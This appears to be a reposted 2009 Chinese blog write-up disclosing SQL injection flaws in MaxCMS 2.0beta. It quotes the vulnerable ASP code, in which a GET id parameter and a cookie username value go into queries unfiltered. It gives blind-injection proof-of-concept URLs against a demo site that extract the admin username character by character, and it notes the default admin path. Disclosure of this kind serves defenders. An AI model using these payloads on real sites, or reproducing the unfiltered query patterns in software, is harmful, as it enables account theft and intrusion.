马克斯CMS2.0beta (maxcms)SQL注入漏洞

2009年11月24日星期二 | | |

 马克斯CMS2.0beta (maxcms)SQL注入漏洞

作者:flyh4t

关键字:首页-马克斯cms2.0

这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。

看代码

 

  1. \inc\ajax.asp  
  2.  
  3. dim action : action = getForm("action""get")  
  4. response.Charset="gbk" 
  5.  
  6. Select  case action  
  7.     case "newslist" : viewNewsList  
  8.     case "newscontent" : viewNewsContent  
  9.     case "digg","tread" : scoreVideo(action)  
  10.     case "reporterr" : reportErr  
  11.     case "hit" : updateHit  
  12.     case else : main  
  13. End Select 
  14. terminateAllObjects  
  15.  
  16. ……  
  17.  
  18. Sub scoreVideo(operType)  
  19.     dim sql,id,digg,returnValue : id=getForm("id","get")  
  20.     '通过get方式获取id的值  
  21.     if rCookie("maxcms2_score"&id)="ok" then die "havescore" 
  22.     if isNul(id) then die "err" 
  23.     'on error resume next  
  24.     digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)  
  25.     ' 参数id,没有过滤就带入sql语句进行查询  
  26.     if err then digg=0 : err.clear()  
  27.     if not isNum(id) then echoSaveStr "safe" else id=clng(id)  
  28.     ' 查询到digg,注意返回的内容  
  29. …… 

利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告

你提交的数据有非法字符,你的IP【xxxx】已被记录,操作

构造的语句不正确,则返回500
Poc :

 

  1. 正确的:  
  2. http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97  
  3.  
  4. 不正确的:  
  5. http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99 

其实随便找个注射工具跑一下就ok了

另外一处注射

 

  1. Sub checkPower  
  2.     dim loginValidate,rsObj : loginValidate = "maxcms2.0" 
  3.     err.clear  
  4.     on error resume next  
  5.     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")  
  6.     loginValidate = md5(getAgent&getIp&rsObj(0))  
  7.     if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>" 
  8.     if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>" 
  9.     checkManagerLevel  rsObj(1)  
  10.     set rsObj=nothing  
  11. End Sub 

其中

  1. Function rCookie(cookieName)  
  2.     rCookie = request.cookies(cookieName)  
  3. End Function 

通过伪造cookie中m_username的值可以进行注射

不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp

 From: http://www.sai52.com/archives/749/
我的QQ空间
kmeleon.js及pref.js配置解释
K-MeleonCCF ME目录下的defaults\pref\kmeleon.js保存了K-Meleon...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]